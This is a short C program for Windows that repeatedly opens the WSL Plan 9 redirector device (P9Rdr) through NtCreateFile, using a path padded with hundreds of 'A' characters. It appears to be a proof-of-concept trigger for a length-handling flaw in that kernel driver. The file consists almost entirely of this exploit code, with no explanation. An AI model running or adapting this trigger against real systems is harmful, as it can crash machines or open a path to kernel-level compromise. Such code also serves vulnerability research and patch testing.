#include #include #include "ntdll.h" #pragma comment(lib, "ntdll") HANDLE OpenDevice() { HANDLE hDevice = NULL; UNICODE_STRING usName = { 0 }; //PCWSTR lpcwName = L"\\Device\\P9Rdr\\wsl.localhost\\AA"; PCWSTR lpcwName = L"\\Device\\P9Rdr\\wsl.localhost\\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\dd"; RtlInitUnicodeString(&usName, (PWSTR)lpcwName); OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; InitializeObjectAttributes(&ObjectAttributes, &usName, OBJ_CASE_INSENSITIVE, NULL, NULL); IO_STATUS_BLOCK IoStatusBlock = { 0 }; NTSTATUS Status = NtCreateFile(&hDevice, FILE_READ_DATA | FILE_WRITE_DATA, &ObjectAttributes, &IoStatusBlock, 0, 0, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN_IF, FILE_CREATE_TREE_CONNECTION, NULL, 0); printf("OpenDevice Status=0x%x\t\tlpcwName=%ls\t\tDevice=0x%0x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, lpcwName, hDevice, GetLastError(), IoStatusBlock.Information); return hDevice; } void HostMain() { while (1) { OpenDevice(); } } int wmain(int argc, WCHAR* argv[]) { HostMain(); return 0; } int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR szCmdLine, int iCmdShow) { return wmain(__argc, __wargv); }